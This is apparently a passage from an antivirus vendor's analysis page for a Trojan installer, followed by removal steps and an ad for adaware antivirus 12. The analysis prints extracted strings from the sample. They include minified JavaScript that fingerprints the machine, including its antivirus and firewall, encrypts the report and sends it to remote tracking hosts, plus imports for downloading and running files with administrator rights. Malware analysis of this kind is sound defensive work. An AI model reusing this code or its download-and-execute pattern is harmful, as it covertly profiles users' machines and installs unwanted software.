nextOffersWithGroup(offers,currRestrictions){interruptor=true;var singleCombination=combination();var groupCombination=combination();for(var i=0;i<offers.length;i  ){var offer=offers[i];if($.inArray(offer.id,currRestrictions)==-1&&$.inArray(offer.id,testingCombinationsId)==-1){if(singleCombination.offers.length==0){singleCombination.offers=[offer.id];singleCombination.restrictions=offer.offerBehavior.restrictions;singleCombination.restrictions.push(offer.id);singleCombination.score=offer.score}if(offer.offerPresentation.canGroup&&$.inArray(offer.id,groupCombination.restrictions)==-1){groupCombination.restrictions=groupCombination.restrictions.concat(offer.offerBehavior.restrictions);groupCombination.restrictions.push(offer.id);groupCombination.score =offer.score;groupCombination.offers.push(offer.id)}}}if(groupCombination.score===-1&&singleCombination.score===-1){return null}else{if(groupCombination.score>singleCombination.score){return groupCombination}else{return singleCombination}}}function combination(){var newcombination={};newcombination.offers=[];newcombination.restrictions=[];newcombination.score=-1;return newcombination}function compareScore(a,b){if(a.score<b.score){return 1}if(a.score>b.score){return -1}return 0}function idToIndex(id){for(var i=0;i<allOffers.length;i  ){if(allOffers[i].id==id){return i}}return null}function GetRestrictionsRecursive(steps,maxSteps,offers){var currentSearchValue=0;maxSteps=maxSteps-1;if(testingCombination[testingCombination.length-1]==maxSteps){var incremented=false;for(var i=testingCombination.length-1;i>=0;i--){if(testingCombination[i]>=maxSteps-1){var nexValue=0;if(testingCombination[i-1]<maxSteps-1){nexValue=testingCombination[i-1] 1}testingCombination[i]=nexValue}else{testingCombination[i]  ;incremented=true;break}}if(incremented==false){testingCombination.push(0)}}else{testingCombination[testingCombination.length-1]  }bloquedIds=[];for(var a=0;a<testingCombination.length;a  ){if(offers[testingCombination[a]]){bloquedIds.push(offers[testingCombination[a]])}}return bloquedIds}var completedTrack=false;var TrackRetrys=0;function GenerateTrackBoby(dataObject,installerData,wasSkipAll){var trackObj={};trackObj.offers=GetOffersReport(dataObject.offers);trackObj.checkMachineInfo=GetmachineReport();trackObj.internal=GetInternalReport(dataObject.countryId,wasSkipAll,installerData.campaign,installerData.publisher,dataObject.presentation.formCaption,installerData.uid);trackObj.extra=installerData.extra;trackObj.finish=boolToInt(finished);trackObj.exeId=executionID;var content=JSON.stringify(trackObj);return cryptString(16,32,"CBC",content)}function boolToInt(value){if(value){return 1}else{return 0}}function GetmachineReport(){var machineReport={};machineReport.OS="MP_" machineInfo.os;machineReport.SP="MP_" machineInfo.sp;machineReport.AR="MP_" machineInfo.ar;machineReport.NET="MP_" machineInfo.net;machineReport.UB="MP_" installerData.usedBrowser;machineReport.DB="MP_" installerData.usedBrowser;machineReport.AV="MP_" machineInfo.av;machineReport.FW="MP_" machineInfo.fw;machineReport.AS="MP_" machineInfo.as;machineReport.FAV="MP_" machineInfo.fav;machineReport.FFW="MP_" machineInfo.ffw;machineReport.FAS="MP_" machineInfo.fas;return machineReport}function GetOffersReport(offersArray){var OffersReport=[];$.each(offersArray,function(key,offer){var element={};element.id=offer.id;element.state=offer.state;element.monetizations=offer.catchallMonetizations;element.screen=offer.usedScreen;OffersReport.push(element)});return OffersReport}function GetInternalReport(country,skipall,campaign,publisher,carrier,uid){var InternalReport={};InternalReport.country=country;InternalReport.skipall=skipall;InternalReport.campaign=campaign;InternalReport.publisher=publisher;InternalReport.carrier=carrier;InternalReport.uid=uid;return InternalReport}function sendTrackException(type,xhr,state,err){sendEx(JSON.stringify(err),"",JSON.stringify(state),type,JSON.stringify(xhr))}function track(callback,failCallback){if(completedTrack||(!finished&&dataObject.installerBehavior.track.type==0)){if(typeof window[callback]==="function"){addLog("trackCallback");window[callback]()}return}else{if(dataObject.installerBehavior.track.type==0){completedTrack=true}}addTrace("tracking");addLog("Tracked");addLog("Tracked->" finished);var postData=GenerateTrackBoby(dataObject,installerData,wasSkipAll);var trackUrl=cryptUrl(TRACKURL);addLog(trackUrl);getResponseFromWrapper(trackUrl,"data=" postData,callback,failCallback);printStates()}function hexToString(hexx){var hex=hexx.toString();var str="";for(var i=0;i<hex.length;i =2){str =String.fromCharCode(parseInt(hex.substr(i,2),16))}return str}function stringToHex(string){var hex="";for(var i=0;i<string.length;i  ){hex ="" string.charCodeAt(i).toString(16)}return hex}function cryptUrl(url){var urlParsed=parseURL(url);var domain=urlParsed.protocol "://" urlParsed.domain;var path=urlParsed.path;addLog(path);return domain "/" cryptString(16,32,"CBC",path)}function genPassword(length){var password="";var possible="abcdef0123456789";for(var i=0;i<length;i  ){password =possible.charAt(Math.floor(Math.random()*possible.length))}return password}function parseURL(url){parsed_url={};if(url==null||url.length==0){return parsed_url}protocol_i=url.indexOf("://");parsed_url.protocol=url.substr(0,protocol_i);remaining_url=url.substr(protocol_i 3,url.length);domain_i=remaining_url.indexOf("/");domain_i=domain_i==-1?remaining_url.length-1:domain_i;parsed_url.domain=remaining_url.substr(0,domain_i);parsed_url.path=domain_i==-1||domain_i 1==remaining_url.length?null:remaining_url.substr(domain_i 1,remaining_url.length);domain_parts=parsed_url.domain.split(".");switch(domain_parts.length){case 2:parsed_url.subdomain=null;parsed_url.host=domain_parts[0];parsed_url.tld=domain_parts[1];break;case 3:parsed_url.subdomain=domain_parts[0];parsed_url.host=domain_parts[1];parsed_url.tld=domain_parts[2];break;case 4:parsed_url.subdomain=domain_parts[0];parsed_url.host=domain_parts[1];parsed_url.tld=domain_parts[2] "." domain_parts[3];break}parsed_url.parent_domain=parsed_url.host "." parsed_url.tld;return parsed_url}function getFilenameFromUrl(url){var url=url.substr(1 url.lastIndexOf("/")).split("?")[0];if(url.indexOf(".")>0){return url}else{if(url.indexOf(".")>-1){return"mainapp" url}else{return"mainapp.exe"}}}function cryptString(ivLength,passLength,mode,text){var key=CryptoJS.enc.Hex.parse(genPassword(passLength));var iv=CryptoJS.enc.Hex.parse(genPassword(ivLength));var encrypted=CryptoJS.AES.encrypt(text,key,{iv:iv,mode:CryptoJS.mode[mode]});var crypt=encrypted.ciphertext.toString(CryptoJS.enc.Hex);iv=encrypted.iv.toString(CryptoJS.enc.Hex);var psw=encrypted.key.toString(CryptoJS.enc.Hex);return iv psw crypt}function deCryptString(ivLength,passLength,mode,data){try{var iv=CryptoJS.enc.Hex.parse(data.substring(0,ivLength));var key=CryptoJS.enc.Hex.parse(data.substring(ivLength,ivLength passLength));cipher=CryptoJS.lib.CipherParams.create({ciphertext:CryptoJS.enc.Hex.parse(data.substring(ivLength passLength))});var result=CryptoJS.AES.decrypt(cipher,key,{iv:iv,mode:CryptoJS.mode[mode]});return CryptoJS.enc.Utf8.stringify(result)}catch(error){return null}}var traceVersion="1.5.7";function addTrace(step){try{var reportUrl="hXXp://" installerData.extra.requestHost "/?trace" traceVersion "=" step;getResponseFromWrapper(reportUrl,"","","")}catch(ex){}}function addSpeficicTrace(step){}var tracedList=[];function addUniqueTrace(step){if($.inArray(step,tracedList)==-1){tracedList.push(step);addTrace(step)}}function thirdPartyError(msg,url,lno){var method="";try{method=arguments.callee.caller.toString()}catch(err){}if(url.indexOf("?trace" traceVersion)>-1){return true}sendEx("third party " msg,url,lno,method||"");return true}function ForceError(msg,url,lno,extra){var method="";try{method=arguments.callee.caller.toString()}catch(err){}sendEx(msg||"",url||"",lno||0,method||"",extra||"");try{onException(msg)}catch(err){}return true}function sendEx(msg,url,lno,method,extra){try{var ex={};ex.msg=msg;ex.url=url;ex.lno=lno;ex.xtra=extra||"";ex.method=method;ex.version=traceVersion;try{ex.av=machineInfo.av;ex.fw=machineInfo.fw;ex.as=machineInfo.as}catch(err){}var reportUrl="hXXp://" installerData.extra.requestHost "/__dmp__/";addLog(JSON.stringify(ex));getResponseFromWrapper(reportUrl,"data=" JSON.stringify(ex),"","")}catch(error){}}function Run(data,macInfo,usedDomain){addTrace("Run");window.onerror=thirdPartyError;try{if(window.external&&("externalTrace" in window.external)){window.external.externalTrace("postindex")}}catch(err){sendEx(JSON.stringify(err),url,lno,"externalTrace",extra)}addTrace("GetInternalData");machineInfo=JSON.parse(macInfo);getData(data,usedDomain)};PA
GetCPInfo
GetConsoleOutputCP
GetProcessHeap
RegCreateKeyExW
RegOpenKeyW
RegEnumKeyW
RegCreateKeyW
RegQueryInfoKeyW
RegDeleteKeyW
RegEnumKeyExW
RegOpenKeyExW
RegCloseKey
ScaleViewportExtEx
SetViewportExtEx
OffsetViewportOrgEx
SetViewportOrgEx
GetViewportExtEx
ShellExecuteExW
ShellExecuteW
UrlUnescapeW
URLDownloadToFileW
CreateDialogIndirectParamW
UnhookWindowsHookEx
SetWindowsHookExW
GetKeyState
EnumChildWindows
HttpOpenRequestW
InternetOpenUrlW
HttpSendRequestW
HttpQueryInfoW
InternetCanonicalizeUrlW
InternetCrackUrlW
.ka/ "jf
####=131%&
3&. &$3<
$ 0 0 ,4$,0 0,
.text
`.rdata
@.data
.rsrc
@.reloc
<requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>
KERNEL32.DLL
ADVAPI32.dll
COMDLG32.dll
GDI32.dll
ole32.dll
OLEACC.dll
OLEAUT32.dll
oledlg.dll
SHELL32.dll
SHLWAPI.dll
urlmon.dll
USER32.dll
WININET.dll
WINSPOOL.DRV
=X=X=X=X=X=X
=X=X=X=X=X
=X=X=X=X
=X=X=X
=X=X
=X
addLog..Tracked
data.exe
1.8.0
stan.mxp30.com
OLEACC.DLL
checkRegkKey
nreportException
ereportTrace
rsafari.exe
opera.exe
firefox.exe
iexplore.exe
chrome.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\
Url different :
ur.IsEmpty
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<META HTTP-EQUIV="Pragma" CONTENT="no-cache" />
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="hXXp://VVV.w3.org/1999/xhtml">
/__mp__/indexClean.html
/stan.mxp108.com
E_OUTOFMEMORY FAIL URLDownloadToFile
INET_E_DOWNLOAD_FAILURE FAIL URLDownloadToFile
SUCCEEDED URLDownloadToFile
SUCCEEDED default URLDownloadToFile
default URLDownloadToFile
RhXXps://
%DownloadFile
Error internal ShellExecuteEx
Error ShellExecuteEx
Not exe and not msi
Iexe
XDocHostUIHandler::GetOptionKeyPath
XDocHostUIHandler::TranslateUrl
errorUrl
XOleCommandTarget::Exec
","codeErrorMsg":"
","url":"
{"msg":"
addLog..onExit
api-JSON.parse
{"msg":";
FEATURE_XMLHTTP
FEATURE_WEBSOCKET
FEATURE_WEBOC_MOVESIZECHILD
FEATURE_WEBOC_POPUPMANAGEMENT
FEATURE_WEBOC_DOCUMENT_ZOOM
FEATURE_VALIDATE_NAVIGATE_URL
FEATURE_SCRIPTURL_MITIGATION
Resolving name %s
Name resolved %s
Unknown status: %d
CInternet error %d
WinINet.dll
SELECT * FROM Win32_OperatingSystem
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Software\Microsoft\Windows\CurrentVersion\Policies\Network
Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32
ntdll.dll
kernel32.dll
%s%s.dll
C%s (%s:%d)
%s (%s:%d)
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp
@f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winfrm.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin1.inl
accKeyboardShortcut
f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl
Afx:%p:%x:%p:%p:%p
Afx:%p:%x
commctrl_DragListMsg
Df:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp
Dcomctl32.dll
Dcomdlg32.dll
Dshell32.dll
mfcm90u.dll
@WININET.DLL
DHTTP/1.0
Df:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl2.cpp
f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp
E.INI
user32.dll
mscoree.dll
c:\%original file name%.exe
{8856F961-340A-11D0-A96B-00C04FD705A2}
All Files (*.*)
No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.
Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.
Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.
#Unable to load mail system support.


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    %original file name%.exe:944

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6P8N67QD\i-download[1].png (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IFK30NOL\style[1].css (7529 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GZWXYZ01\bullet-short[1].gif (108 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6P8N67QD\bullet-short[1].gif (54 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\456T8DEX\style[1].css (222 bytes)
    %System%\wbem\Logs\wbemprox.log (225 bytes)

  4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  5. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

No votes yet

x

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Enjoy unique new features, lightning fast scans and a simple yet beautiful new look in our best antivirus yet!

For a quicker, lighter and more secure experience, download the all new adaware antivirus 12 now!

Download adaware antivirus 12
No thanks, continue to lavasoft.com
close x

Discover the new adaware antivirus 12

Our best antivirus yet

Download Now